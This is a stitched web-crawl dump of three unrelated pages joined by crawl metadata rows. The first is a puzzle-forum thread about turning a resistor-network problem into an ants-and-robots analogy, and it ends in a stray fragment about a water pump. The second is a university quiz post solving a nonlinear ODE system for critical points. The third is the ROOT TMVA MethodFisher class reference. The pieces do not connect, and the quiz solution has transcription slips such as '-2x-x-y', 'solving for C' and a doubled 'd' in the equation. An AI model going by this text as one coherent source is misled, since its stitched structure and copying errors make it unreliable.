Solution explores symmetry with respect to the diagonal AB line. Let's imagine one runs current from A to B. Potential of A is 1V, potential of B is 0V. 1. All symmetric points will have the same potential, therefore they can be connected together. 2. If we consider the second diagonal (let's call it CD, so square would be ACBD) we can note that all points on CD line have same way to point A and to point B. That means they all will have 0.5V potential and can be connected of disconnected freely. 3. Now we can make and equivalent circuit (see the picture) and find that Rc = (1 + sqrt(3) + sqrt(2))/2 R.
So can someone reformulate it in pure logic-based way?
My attempt:
Megamind created a micro robotic ants. Once upon a time he asked the ants to move a ton of sand through his anthill (from the entrance A to exit B) as quickly as possible. Anthill is a complex system of passes (see the figure, the side of the big square - 1 m). There are a lot of ants, they are very smart and always able to find the best approach to the problem. However, the throughput of passes is very limited - one ant can't overtake the other one. How long will it take for ants to complete the task? It is known that for simple straight passage from A to B the ants could complete the task in sqrt(2) days?
Here I am trying to simulate series and parallel resistors connections. If two passes with lengths L combined in series configuration it will be a path 2L, which will take twice more time to pass the sand through. If two passes with lengths L combined in parallel configuration it will be a 2 times wider path, which will take twice less time to pass the sand through.
But there are critical issues with this formulation:
1. I don't know how to express "limited throughput" strictly and naturally. If ants are points (case A) they can be as close as needed to each other and basically became one point and use only one path. If ants have some length (case B), then it will take time to fill all paths and free them.
2. If we consider parallel connection following a series connection of 3 resistors: 1 || 1 + 1 the resistance would be 0.5+1=1.5. Mean while in case (B) ants will wait at the correction, so "resistance" will be 1 + 1 = 2.
• I think a more accurate analogy is to have a queen producing blind ants at A and a silent ant eater at B. Random motion will ensure the ants will diffuse away from one another while the concentration will stay 0 at B so a "current" of ants will flow there. Diffusion, however, may not make for an easier to understand (less technical)puzzle! (non-technical explanation) Electrons don't take just the shortest path because to some extent they repel each other and, therefore, the optimum arrangment is more complicated. Ants would just take the two shortest paths to increase path width. Commented Jun 4, 2014 at 13:28
• @kaine, thank you. Yes, one can ask about speed rather than time. But the issues with throughput would be still there, because in ants analogy there is not potential, which can be distributed between ants and paths... Commented Jun 5, 2014 at 14:02
• What if instead of ants one used electric robots, which needed to receive power from rails in the tunnels; each tunnel's rails are powered from the ends, but will overheat if two robots try to draw power simultaneously from the same rails. Commented Nov 8, 2014 at 17:19
• I think your attempt is still physics, by the way. The equivalent mathematical problem is to ask for the fractal dimension of your network. Commented May 1, 2015 at 10:46
• I believe that trying to formulate the question by introducing 'parallel' and 'series' resistor configurations is a bad idea, because it's not possible to match the puzzle network into the two concepts, so it is literally not possible to solve, unless I've missed something.
– dram
Commented Jun 6, 2018 at 3:34
If the person you are asking doesn't know physics, you may as well teach him. If you are not allowed to do this directly, you could use your own terminology. (Brackets indicate actual terminology)
Every point on the lines has a hidden magic value (potential). The difference between the magic values of A and B is called the net magic value (net potential difference). We release any army of robots (current) at Point A. Robots travel incredibly fast (speed of an electron), but we must transfer an almost infinite number of robots (number of electrons), so it could still take time.
A single 'path' has no intersections. One rule is that the difference between two magic values is proportional to the rate of transfer of robots through a path (Ohm's Law). Another rule is the length of a path is proportional to the rate of transfer of robots through it, and inversely proportional to the difference between the initial and final magic values.
Robots learn over time, which the fastest routes are, and eventually arrive at the optimal speed for robotic transfer. Find the ratio between the net magic value and the rate of robotic transfer through the frame.
This makes it even more difficult, because the concept of resistance is not even mentioned. One needs to first define resistance, then derive formulae for serial and parallel combinations, and then solve the puzzle. This makes it possible but almost impossible.
• That's correct. But... 1. The concept of potential itself is 66% of the solution), when you introduce it you explain solution. In this case resistance and rules of addition for them is a better concept. 2. The puzzle formulation would be too complex to be interesting enough. The task is to use natual-wel known concepts and don't create artificial (like physics books does). Of course all differences between natural and artificial here is subjective, but I think they quite understandable by most people. Commented Jul 11, 2015 at 18:12
You measure and know that the water pump-in rate is 1. What is the amount of energy you gain by going from A to B? Note that according to rule of energy stability, it does not matter which path you follow. | 1,492 | 6,634 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.15625 | 4 | CC-MAIN-2024-30 | latest | en | 0.955635 |
http://forum.math.toronto.edu/index.php?topic=1150.0;wap2 | 1,596,528,949,000,000,000 | text/html | crawl-data/CC-MAIN-2020-34/segments/1596439735867.23/warc/CC-MAIN-20200804073038-20200804103038-00595.warc.gz | 37,496,364 | 2,546 | MAT244-2018S > Quiz-7
Q7-T0801
(1/1)
Victor Ivrii:
a. Determine all critical points of the given system of equations.
b. Find the corresponding linear system near each critical point.
c. Find the eigenvalues of each linear system. What conclusions can you then draw about the nonlinear system?
d. Draw a phase portrait of the nonlinear system to confirm your conclusions, or to extend them in those cases where the linear system does not provide definite information about the nonlinear system.
\left\{\begin{aligned} &\frac{dx}{dt} = -2x - y -x(x^2 + y^2)\\ &d\frac{dy}{dt} = x - y + y(x^2 + y^2) \end{aligned}\right.
Junjie Zhang:
(a)The critical points are given by the solution set of the equations $$-2x-x-y-x(x^2+y^2) = 0$$ $$x-y+y(x^2+y^2) = 0$$ It is clear that the origin is a critical point. Solving the first equation for C , we find that $$y = \frac{-1 \pm \sqrt{1-8x^2-4x^4}}{2x}$$
Substitution of these relations into the second equation results in two equations of the form $f_{1}(x) = 0$ and $f_{2}(x) = 0$ . Plotting these functions, we note that only$f_{1}(x) = 0$ has real roots. ('It follows that the additional critical points are at (-0.33076,1.0924) and (0.33076,-1.0924)
(b,c) Given that $$F(x,y) = -2x-x-y-x(x^2+y^2)$$ $$G(x,y) = x-y+y(x^2+y^2)$$
the Jacobian matrix of the vector field is $$\begin{pmatrix} -2-3x^2-y^2 & -1-2xy \\ 1+2xy & -1+x^2+3y^2 \end{pmatrix}$$
with complex conjugate eigenvalues $r_{1,2} =((-3 \pm i \sqrt{3})/2)$ . Hence the critical point is a stable spiral, which is asymptotically stable. At the point (-0.33076,1.0924) , the coefficient matrix of the linearized system is $$J(-0.33076,1.0924) = \begin{pmatrix} -3.5216 & -0.27735 \\ 0.27735 & 2.6895 \end{pmatrix}$$
With eigenvalues $r_1 = -3.5092$ and $r_2 = 2.6771$ The eigenvalues are real, with opposite sign. Hence the critical point of the associated linear system is a saddle, which is unstable. Identical results hold for the point at (0.33076,-1.0924).
Attached is the part(d)
Victor Ivrii:
Please, do not replace $\sqrt{3}$ by approximate decimals. When grading, it becomes very difficult to check (and technically is incorrect) so grader mark as an error and ignore everything below | 718 | 2,207 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.984375 | 4 | CC-MAIN-2020-34 | latest | en | 0.765731 |
https://root.cern.ch/doc/master/classTMVA_1_1MethodFisher.html | 1,679,812,285,000,000,000 | text/html | crawl-data/CC-MAIN-2023-14/segments/1679296945433.92/warc/CC-MAIN-20230326044821-20230326074821-00627.warc.gz | 557,069,448 | 40,879 | ROOT Reference Guide
TMVA::MethodFisher Class Reference
Fisher and Mahalanobis Discriminants (Linear Discriminant Analysis)
In the method of Fisher discriminants event selection is performed in a transformed variable space with zero linear correlations, by distinguishing the mean values of the signal and background distributions.
The linear discriminant analysis determines an axis in the (correlated) hyperspace of the input variables such that, when projecting the output classes (signal and background) upon this axis, they are pushed as far as possible away from each other, while events of a same class are confined in a close vicinity. The linearity property of this method is reflected in the metric with which "far apart" and "close vicinity" are determined: the covariance matrix of the discriminant variable space.
The classification of the events in signal and background classes relies on the following characteristics (only): overall sample means, $$x_i$$, for each input variable, $$i$$, class-specific sample means, $$x_{S(B),i}$$, and total covariance matrix $$T_{ij}$$. The covariance matrix can be decomposed into the sum of a within ( $$W_{ij}$$) and a between-class ( $$B_{ij}$$) class matrix. They describe the dispersion of events relative to the means of their own class (within-class matrix), and relative to the overall sample means (between-class matrix). The Fisher coefficients, $$F_i$$, are then given by
$F_i = \frac{\sqrt{N_s N_b}}{N_s + N_b} \sum_{j=1}^{N_{SB}} W_{ij}^{-1} (\bar{X}_{Sj} - \bar{X}_{Bj})$
where in TMVA is set $$N_S = N_B$$, so that the factor in front of the sum simplifies to $$\frac{1}{2}$$. The Fisher discriminant then reads
$X_{Fi} = F_0 + \sum_{i=1}^{N_{SB}} F_i X_i$
The offset $$F_0$$ centers the sample mean of $$x_{Fi}$$ at zero. Instead of using the within-class matrix, the Mahalanobis variant determines the Fisher coefficients as follows:
$F_i = \frac{\sqrt{N_s N_b}}{N_s + N_b} \sum_{j=1}^{N_{SB}} (W + B)_{ij}^{-1} (\bar{X}_{Sj} - \bar{X}_{Bj})$
with resulting $$x_{Ma}$$ that are very similar to the $$x_{Fi}$$.
TMVA provides two outputs for the ranking of the input variables:
• Fisher test: the Fisher analysis aims at simultaneously maximising the between-class separation, while minimising the within-class dispersion. A useful measure of the discrimination power of a variable is hence given by the diagonal quantity: $$\frac{B_{ii}}{W_{ii}}$$ .
• Discrimination power: the value of the Fisher coefficient is a measure of the discriminating power of a variable. The discrimination power of set of input variables can therefore be measured by the scalar
$\lambda = \frac{\sqrt{N_s N_b}}{N_s + N_b} \sum_{j=1}^{N_{SB}} F_i (\bar{X}_{Sj} - \bar{X}_{Bj})$
The corresponding numbers are printed on standard output.
Definition at line 54 of file MethodFisher.h.
## Public Types
enum EFisherMethod { kFisher , kMahalanobis }
Public Types inherited from TMVA::MethodBase
enum EWeightFileType { kROOT =0 , kTEXT }
Public Types inherited from TObject
enum {
kIsOnHeap = 0x01000000 , kNotDeleted = 0x02000000 , kZombie = 0x04000000 , kInconsistent = 0x08000000 ,
}
enum { kSingleKey = (1ULL << ( 0 )) , kOverwrite = (1ULL << ( 1 )) , kWriteDelete = (1ULL << ( 2 )) }
enum EDeprecatedStatusBits { kObjInCanvas = (1ULL << ( 3 )) }
enum EStatusBits {
kCanDelete = (1ULL << ( 0 )) , kMustCleanup = (1ULL << ( 3 )) , kIsReferenced = (1ULL << ( 4 )) , kHasUUID = (1ULL << ( 5 )) ,
kCannotPick = (1ULL << ( 6 )) , kNoContextMenu = (1ULL << ( 8 )) , kInvalidObject = (1ULL << ( 13 ))
}
## Public Member Functions
MethodFisher (const TString &jobName, const TString &methodTitle, DataSetInfo &dsi, const TString &theOption="Fisher")
standard constructor for the "Fisher" More...
MethodFisher (DataSetInfo &dsi, const TString &theWeightFile)
constructor from weight file More...
virtual ~MethodFisher (void)
destructor More...
void AddWeightsXMLTo (void *parent) const
create XML description of Fisher classifier More...
const RankingCreateRanking ()
computes ranking of input variables More...
EFisherMethod GetFisherMethod (void)
Double_t GetMvaValue (Double_t *err=nullptr, Double_t *errUpper=nullptr)
returns the Fisher value (no fixed range) More...
virtual Bool_t HasAnalysisType (Types::EAnalysisType type, UInt_t numberClasses, UInt_t numberTargets)
Fisher can only handle classification with 2 classes. More...
virtual TClassIsA () const
void PrintCoefficients (void)
display Fisher coefficients and discriminating power for each variable check maximum length of variable name More...
virtual void ReadWeightsFromStream (std::istream &)=0
void ReadWeightsFromStream (std::istream &i)
read Fisher coefficients from weight file More...
virtual void ReadWeightsFromStream (TFile &)
void ReadWeightsFromXML (void *wghtnode)
read Fisher coefficients from xml weight file More...
virtual void Streamer (TBuffer &)
Stream an object of class TObject. More...
void StreamerNVirtual (TBuffer &ClassDef_StreamerNVirtual_b)
void Train (void)
computation of Fisher coefficients by series of matrix operations More...
Public Member Functions inherited from TMVA::MethodBase
MethodBase (const TString &jobName, Types::EMVA methodType, const TString &methodTitle, DataSetInfo &dsi, const TString &theOption="")
standard constructor More...
MethodBase (Types::EMVA methodType, DataSetInfo &dsi, const TString &weightFile)
constructor used for Testing + Application of the MVA, only (no training), using given WeightFiles More...
virtual ~MethodBase ()
destructor More...
void AddOutput (Types::ETreeType type, Types::EAnalysisType analysisType)
TDirectoryBaseDir () const
returns the ROOT directory where info/histograms etc of the corresponding MVA method instance are stored More...
virtual void CheckSetup ()
check may be overridden by derived class (sometimes, eg, fitters are used which can only be implemented during training phase) More...
virtual const RankingCreateRanking ()=0
DataSetData () const
DataSetInfoDataInfo () const
virtual void DeclareCompatibilityOptions ()
options that are used ONLY for the READER to ensure backward compatibility they are hence without any effect (the reader is only reading the training options that HAD been used at the training of the .xml weight file at hand More...
virtual void DeclareOptions ()=0
void DisableWriting (Bool_t setter)
Bool_t DoMulticlass () const
Bool_t DoRegression () const
void ExitFromTraining ()
Types::EAnalysisType GetAnalysisType () const
UInt_t GetCurrentIter ()
virtual Double_t GetEfficiency (const TString &, Types::ETreeType, Double_t &err)
fill background efficiency (resp. More...
const EventGetEvent () const
const EventGetEvent (const TMVA::Event *ev) const
const EventGetEvent (Long64_t ievt) const
const EventGetEvent (Long64_t ievt, Types::ETreeType type) const
const std::vector< TMVA::Event * > & GetEventCollection (Types::ETreeType type)
returns the event collection (i.e. More...
TFileGetFile () const
const TStringGetInputLabel (Int_t i) const
const char * GetInputTitle (Int_t i) const
const TStringGetInputVar (Int_t i) const
TMultiGraphGetInteractiveTrainingError ()
const TStringGetJobName () const
virtual Double_t GetKSTrainingVsTest (Char_t SorB, TString opt="X")
virtual Double_t GetMaximumSignificance (Double_t SignalEvents, Double_t BackgroundEvents, Double_t &optimal_significance_value) const
plot significance, $$\frac{S}{\sqrt{S^2 + B^2}}$$, curve for given number of signal and background events; returns cut for maximum significance also returned via reference is the maximum significance More...
UInt_t GetMaxIter ()
Double_t GetMean (Int_t ivar) const
const TStringGetMethodName () const
Types::EMVA GetMethodType () const
TString GetMethodTypeName () const
virtual TMatrixD GetMulticlassConfusionMatrix (Double_t effB, Types::ETreeType type)
Construct a confusion matrix for a multiclass classifier. More...
virtual std::vector< Float_tGetMulticlassEfficiency (std::vector< std::vector< Float_t > > &purity)
virtual std::vector< Float_tGetMulticlassTrainingEfficiency (std::vector< std::vector< Float_t > > &purity)
virtual const std::vector< Float_t > & GetMulticlassValues ()
Double_t GetMvaValue (const TMVA::Event *const ev, Double_t *err=nullptr, Double_t *errUpper=nullptr)
virtual Double_t GetMvaValue (Double_t *errLower=nullptr, Double_t *errUpper=nullptr)=0
const char * GetName () const
UInt_t GetNEvents () const
UInt_t GetNTargets () const
UInt_t GetNvar () const
UInt_t GetNVariables () const
virtual Double_t GetProba (const Event *ev)
virtual Double_t GetProba (Double_t mvaVal, Double_t ap_sig)
compute likelihood ratio More...
const TString GetProbaName () const
virtual Double_t GetRarity (Double_t mvaVal, Types::ESBType reftype=Types::kBackground) const
compute rarity: More...
virtual void GetRegressionDeviation (UInt_t tgtNum, Types::ETreeType type, Double_t &stddev, Double_t &stddev90Percent) const
virtual const std::vector< Float_t > & GetRegressionValues ()
const std::vector< Float_t > & GetRegressionValues (const TMVA::Event *const ev)
Double_t GetRMS (Int_t ivar) const
virtual Double_t GetROCIntegral (PDF *pdfS=nullptr, PDF *pdfB=nullptr) const
calculate the area (integral) under the ROC curve as a overall quality measure of the classification More...
virtual Double_t GetROCIntegral (TH1D *histS, TH1D *histB) const
calculate the area (integral) under the ROC curve as a overall quality measure of the classification More...
virtual Double_t GetSeparation (PDF *pdfS=nullptr, PDF *pdfB=nullptr) const
compute "separation" defined as More...
virtual Double_t GetSeparation (TH1 *, TH1 *) const
compute "separation" defined as More...
Double_t GetSignalReferenceCut () const
Double_t GetSignalReferenceCutOrientation () const
virtual Double_t GetSignificance () const
compute significance of mean difference More...
const EventGetTestingEvent (Long64_t ievt) const
Double_t GetTestTime () const
const TStringGetTestvarName () const
virtual Double_t GetTrainingEfficiency (const TString &)
const EventGetTrainingEvent (Long64_t ievt) const
virtual const std::vector< Float_t > & GetTrainingHistory (const char *)
UInt_t GetTrainingROOTVersionCode () const
TString GetTrainingROOTVersionString () const
calculates the ROOT version string from the training version code on the fly More...
UInt_t GetTrainingTMVAVersionCode () const
TString GetTrainingTMVAVersionString () const
calculates the TMVA version string from the training version code on the fly More...
Double_t GetTrainTime () const
TransformationHandlerGetTransformationHandler (Bool_t takeReroutedIfAvailable=true)
const TransformationHandlerGetTransformationHandler (Bool_t takeReroutedIfAvailable=true) const
TString GetWeightFileName () const
retrieve weight file name More...
Double_t GetXmax (Int_t ivar) const
Double_t GetXmin (Int_t ivar) const
Bool_t HasMVAPdfs () const
virtual void Init ()=0
void InitIPythonInteractive ()
virtual TClassIsA () const
Bool_t IsModelPersistence () const
virtual Bool_t IsSignalLike ()
uses a pre-set cut on the MVA output (SetSignalReferenceCut and SetSignalReferenceCutOrientation) for a quick determination if an event would be selected as signal or background More...
virtual Bool_t IsSignalLike (Double_t mvaVal)
uses a pre-set cut on the MVA output (SetSignalReferenceCut and SetSignalReferenceCutOrientation) for a quick determination if an event with this mva output value would be selected as signal or background More...
Bool_t IsSilentFile () const
virtual void MakeClass (const TString &classFileName=TString("")) const
create reader class for method (classification only at present) More...
TDirectoryMethodBaseDir () const
returns the ROOT directory where all instances of the corresponding MVA method are stored More...
virtual std::map< TString, Double_tOptimizeTuningParameters (TString fomType="ROCIntegral", TString fitType="FitGA")
call the Optimizer with the set of parameters and ranges that are meant to be tuned. More...
void PrintHelpMessage () const
prints out method-specific help method More...
virtual void ProcessOptions ()=0
void ProcessSetup ()
process all options the "CheckForUnusedOptions" is done in an independent call, since it may be overridden by derived class (sometimes, eg, fitters are used which can only be implemented during training phase) More...
Function to write options and weights to file. More...
void ReadStateFromStream (std::istream &tf)
read the header from the weight files of the different MVA methods More...
void ReadStateFromStream (TFile &rf)
write reference MVA distributions (and other information) to a ROOT type weight file More...
void ReadStateFromXMLString (const char *xmlstr)
for reading from memory More...
void RerouteTransformationHandler (TransformationHandler *fTargetTransformation)
virtual void Reset ()
virtual void SetAnalysisType (Types::EAnalysisType type)
void SetBaseDir (TDirectory *methodDir)
void SetFile (TFile *file)
void SetMethodBaseDir (TDirectory *methodDir)
void SetMethodDir (TDirectory *methodDir)
void SetModelPersistence (Bool_t status)
void SetSignalReferenceCut (Double_t cut)
void SetSignalReferenceCutOrientation (Double_t cutOrientation)
void SetSilentFile (Bool_t status)
void SetTestTime (Double_t testTime)
void SetTestvarName (const TString &v="")
void SetTrainTime (Double_t trainTime)
virtual void SetTuneParameters (std::map< TString, Double_t > tuneParameters)
set the tuning parameters according to the argument This is just a dummy . More...
void SetupMethod ()
setup of methods More...
virtual void Streamer (TBuffer &)
Stream an object of class TObject. More...
void StreamerNVirtual (TBuffer &ClassDef_StreamerNVirtual_b)
virtual void TestClassification ()
initialization More...
virtual void TestMulticlass ()
test multiclass classification More...
virtual void TestRegression (Double_t &bias, Double_t &biasT, Double_t &dev, Double_t &devT, Double_t &rms, Double_t &rmsT, Double_t &mInf, Double_t &mInfT, Double_t &corr, Types::ETreeType type)
calculate <sum-of-deviation-squared> of regression output versus "true" value from test sample More...
virtual void Train ()=0
bool TrainingEnded ()
void TrainMethod ()
virtual void WriteEvaluationHistosToFile (Types::ETreeType treetype)
writes all MVA evaluation histograms to file More...
virtual void WriteMonitoringHistosToFile () const
write special monitoring histograms to file dummy implementation here --------------— More...
void WriteStateToFile () const
write options and weights to file note that each one text file for the main configuration information and one ROOT file for ROOT objects are created More...
Public Member Functions inherited from TMVA::IMethod
IMethod ()
virtual ~IMethod ()
virtual const RankingCreateRanking ()=0
virtual void DeclareOptions ()=0
virtual Double_t GetMvaValue (Double_t *err=nullptr, Double_t *errUpper=nullptr)=0
virtual const char * GetName () const =0
virtual Bool_t HasAnalysisType (Types::EAnalysisType type, UInt_t numberClasses, UInt_t numberTargets)=0
virtual void Init ()=0
virtual TClassIsA () const
virtual void MakeClass (const TString &classFileName=TString("")) const =0
virtual void PrintHelpMessage () const =0
virtual void ProcessOptions ()=0
virtual void ReadWeightsFromStream (std::istream &)=0
virtual void Streamer (TBuffer &)
void StreamerNVirtual (TBuffer &ClassDef_StreamerNVirtual_b)
virtual void Train (void)=0
virtual void WriteMonitoringHistosToFile (void) const =0
Public Member Functions inherited from TMVA::Configurable
Configurable (const TString &theOption="")
constructor More...
virtual ~Configurable ()
default destructor More...
void AddOptionsXMLTo (void *parent) const
write options to XML file More...
template<class T >
void AddPreDefVal (const T &)
template<class T >
void AddPreDefVal (const TString &optname, const T &)
void CheckForUnusedOptions () const
checks for unused options in option string More...
template<class T >
TMVA::OptionBaseDeclareOptionRef (T &ref, const TString &name, const TString &desc)
template<class T >
OptionBaseDeclareOptionRef (T &ref, const TString &name, const TString &desc="")
template<class T >
TMVA::OptionBaseDeclareOptionRef (T *&ref, Int_t size, const TString &name, const TString &desc)
template<class T >
OptionBaseDeclareOptionRef (T *&ref, Int_t size, const TString &name, const TString &desc="")
const char * GetConfigDescription () const
const char * GetConfigName () const
const TStringGetOptions () const
virtual TClassIsA () const
MsgLoggerLog () const
virtual void ParseOptions ()
options parser More...
void PrintOptions () const
prints out the options set in the options string and the defaults More...
void ReadOptionsFromStream (std::istream &istr)
read option back from the weight file More...
void ReadOptionsFromXML (void *node)
void SetConfigDescription (const char *d)
void SetConfigName (const char *n)
void SetMsgType (EMsgType t)
void SetOptions (const TString &s)
virtual void Streamer (TBuffer &)
Stream an object of class TObject. More...
void StreamerNVirtual (TBuffer &ClassDef_StreamerNVirtual_b)
void WriteOptionsToStream (std::ostream &o, const TString &prefix) const
write options to output stream (e.g. in writing the MVA weight files More...
Public Member Functions inherited from TNamed
TNamed ()
TNamed (const char *name, const char *title)
TNamed (const TNamed &named)
TNamed copy ctor. More...
TNamed (const TString &name, const TString &title)
virtual ~TNamed ()
TNamed destructor. More...
void Clear (Option_t *option="") override
Set name and title to empty strings (""). More...
TObjectClone (const char *newname="") const override
Make a clone of an object using the Streamer facility. More...
Int_t Compare (const TObject *obj) const override
Compare two TNamed objects. More...
void Copy (TObject &named) const override
Copy this to obj. More...
virtual void FillBuffer (char *&buffer)
Encode TNamed into output buffer. More...
const char * GetName () const override
Returns name of object. More...
const char * GetTitle () const override
Returns title of object. More...
ULong_t Hash () const override
Return hash value for this object. More...
TClassIsA () const override
Bool_t IsSortable () const override
void ls (Option_t *option="") const override
List TNamed name and title. More...
TNamedoperator= (const TNamed &rhs)
TNamed assignment operator. More...
void Print (Option_t *option="") const override
Print TNamed name and title. More...
virtual void SetName (const char *name)
Set the name of the TNamed. More...
virtual void SetNameTitle (const char *name, const char *title)
Set all the TNamed parameters (name and title). More...
virtual void SetTitle (const char *title="")
Set the title of the TNamed. More...
virtual Int_t Sizeof () const
Return size of the TNamed part of the TObject. More...
void Streamer (TBuffer &) override
Stream an object of class TObject. More...
void StreamerNVirtual (TBuffer &ClassDef_StreamerNVirtual_b)
Public Member Functions inherited from TObject
TObject ()
TObject constructor. More...
TObject (const TObject &object)
TObject copy ctor. More...
virtual ~TObject ()
TObject destructor. More...
void AbstractMethod (const char *method) const
Use this method to implement an "abstract" method that you don't want to leave purely abstract. More...
virtual void AppendPad (Option_t *option="")
Append graphics object to current pad. More...
virtual void Browse (TBrowser *b)
Browse object. May be overridden for another default action. More...
ULong_t CheckedHash ()
Check and record whether this class has a consistent Hash/RecursiveRemove setup (*) and then return the regular Hash value for this object. More...
virtual const char * ClassName () const
Returns name of class to which the object belongs. More...
virtual void Clear (Option_t *="")
virtual TObjectClone (const char *newname="") const
Make a clone of an object using the Streamer facility. More...
virtual Int_t Compare (const TObject *obj) const
Compare abstract method. More...
virtual void Copy (TObject &object) const
Copy this to obj. More...
virtual void Delete (Option_t *option="")
Delete this object. More...
virtual Int_t DistancetoPrimitive (Int_t px, Int_t py)
Computes distance from point (px,py) to the object. More...
virtual void Draw (Option_t *option="")
Default Draw method for all objects. More...
virtual void DrawClass () const
Draw class inheritance tree of the class to which this object belongs. More...
virtual TObjectDrawClone (Option_t *option="") const
Draw a clone of this object in the current selected pad with: gROOT->SetSelectedPad(c1). More...
virtual void Dump () const
Dump contents of object on stdout. More...
virtual void Error (const char *method, const char *msgfmt,...) const
Issue error message. More...
virtual void Execute (const char *method, const char *params, Int_t *error=nullptr)
Execute method on this object with the given parameter string, e.g. More...
virtual void Execute (TMethod *method, TObjArray *params, Int_t *error=nullptr)
Execute method on this object with parameters stored in the TObjArray. More...
virtual void ExecuteEvent (Int_t event, Int_t px, Int_t py)
Execute action corresponding to an event at (px,py). More...
virtual void Fatal (const char *method, const char *msgfmt,...) const
Issue fatal error message. More...
virtual TObjectFindObject (const char *name) const
Must be redefined in derived classes. More...
virtual TObjectFindObject (const TObject *obj) const
Must be redefined in derived classes. More...
virtual Option_tGetDrawOption () const
Get option used by the graphics system to draw this object. More...
virtual const char * GetIconName () const
Returns mime type name of object. More...
virtual const char * GetName () const
Returns name of object. More...
virtual char * GetObjectInfo (Int_t px, Int_t py) const
Returns string containing info about the object at position (px,py). More...
virtual Option_tGetOption () const
virtual const char * GetTitle () const
Returns title of object. More...
virtual UInt_t GetUniqueID () const
Return the unique object id. More...
virtual Bool_t HandleTimer (TTimer *timer)
Execute action in response of a timer timing out. More...
virtual ULong_t Hash () const
Return hash value for this object. More...
Bool_t HasInconsistentHash () const
Return true is the type of this object is known to have an inconsistent setup for Hash and RecursiveRemove (i.e. More...
virtual void Info (const char *method, const char *msgfmt,...) const
Issue info message. More...
virtual Bool_t InheritsFrom (const char *classname) const
Returns kTRUE if object inherits from class "classname". More...
virtual Bool_t InheritsFrom (const TClass *cl) const
Returns kTRUE if object inherits from TClass cl. More...
virtual void Inspect () const
Dump contents of this object in a graphics canvas. More...
void InvertBit (UInt_t f)
virtual TClassIsA () const
Bool_t IsDestructed () const
IsDestructed. More...
virtual Bool_t IsEqual (const TObject *obj) const
Default equal comparison (objects are equal if they have the same address in memory). More...
virtual Bool_t IsFolder () const
Returns kTRUE in case object contains browsable objects (like containers or lists of other objects). More...
R__ALWAYS_INLINE Bool_t IsOnHeap () const
virtual Bool_t IsSortable () const
R__ALWAYS_INLINE Bool_t IsZombie () const
virtual void ls (Option_t *option="") const
The ls function lists the contents of a class on stdout. More...
void MayNotUse (const char *method) const
Use this method to signal that a method (defined in a base class) may not be called in a derived class (in principle against good design since a child class should not provide less functionality than its parent, however, sometimes it is necessary). More...
virtual Bool_t Notify ()
This method must be overridden to handle object notification. More...
void Obsolete (const char *method, const char *asOfVers, const char *removedFromVers) const
Use this method to declare a method obsolete. More...
void operator delete (void *ptr)
Operator delete. More...
void operator delete[] (void *ptr)
Operator delete []. More...
void * operator new (size_t sz)
void * operator new (size_t sz, void *vp)
void * operator new[] (size_t sz)
void * operator new[] (size_t sz, void *vp)
TObjectoperator= (const TObject &rhs)
TObject assignment operator. More...
virtual void Paint (Option_t *option="")
This method must be overridden if a class wants to paint itself. More...
virtual void Pop ()
Pop on object drawn in a pad to the top of the display list. More...
virtual void Print (Option_t *option="") const
This method must be overridden when a class wants to print itself. More...
virtual Int_t Read (const char *name)
Read contents of object with specified name from the current directory. More...
virtual void RecursiveRemove (TObject *obj)
Recursively remove this object from a list. More...
void ResetBit (UInt_t f)
virtual void SaveAs (const char *filename="", Option_t *option="") const
Save this object in the file specified by filename. More...
virtual void SavePrimitive (std::ostream &out, Option_t *option="")
Save a primitive as a C++ statement(s) on output stream "out". More...
void SetBit (UInt_t f)
void SetBit (UInt_t f, Bool_t set)
Set or unset the user status bits as specified in f. More...
virtual void SetDrawOption (Option_t *option="")
Set drawing option for object. More...
virtual void SetUniqueID (UInt_t uid)
Set the unique object id. More...
virtual void Streamer (TBuffer &)
Stream an object of class TObject. More...
void StreamerNVirtual (TBuffer &ClassDef_StreamerNVirtual_b)
virtual void SysError (const char *method, const char *msgfmt,...) const
Issue system error message. More...
R__ALWAYS_INLINE Bool_t TestBit (UInt_t f) const
Int_t TestBits (UInt_t f) const
virtual void UseCurrentStyle ()
Set current style settings in this object This function is called when either TCanvas::UseCurrentStyle or TROOT::ForceStyle have been invoked. More...
virtual void Warning (const char *method, const char *msgfmt,...) const
Issue warning message. More...
virtual Int_t Write (const char *name=nullptr, Int_t option=0, Int_t bufsize=0)
Write this object to the current directory. More...
virtual Int_t Write (const char *name=nullptr, Int_t option=0, Int_t bufsize=0) const
Write this object to the current directory. More...
## Static Public Member Functions
static TClassClass ()
static const char * Class_Name ()
static constexpr Version_t Class_Version ()
static const char * DeclFileName ()
Static Public Member Functions inherited from TMVA::MethodBase
static TClassClass ()
static const char * Class_Name ()
static constexpr Version_t Class_Version ()
static const char * DeclFileName ()
Static Public Member Functions inherited from TMVA::IMethod
static TClassClass ()
static const char * Class_Name ()
static constexpr Version_t Class_Version ()
static const char * DeclFileName ()
Static Public Member Functions inherited from TMVA::Configurable
static TClassClass ()
static const char * Class_Name ()
static constexpr Version_t Class_Version ()
static const char * DeclFileName ()
Static Public Member Functions inherited from TNamed
static TClassClass ()
static const char * Class_Name ()
static constexpr Version_t Class_Version ()
static const char * DeclFileName ()
Static Public Member Functions inherited from TObject
static TClassClass ()
static const char * Class_Name ()
static constexpr Version_t Class_Version ()
static const char * DeclFileName ()
static Longptr_t GetDtorOnly ()
Return destructor only flag. More...
static Bool_t GetObjectStat ()
Get status of object stat flag. More...
static void SetDtorOnly (void *obj)
Set destructor only flag. More...
static void SetObjectStat (Bool_t stat)
Turn on/off tracking of objects in the TObjectTable. More...
## Protected Member Functions
void GetHelpMessage () const
get help message text More...
void MakeClassSpecific (std::ostream &, const TString &) const
write Fisher-specific classifier response More...
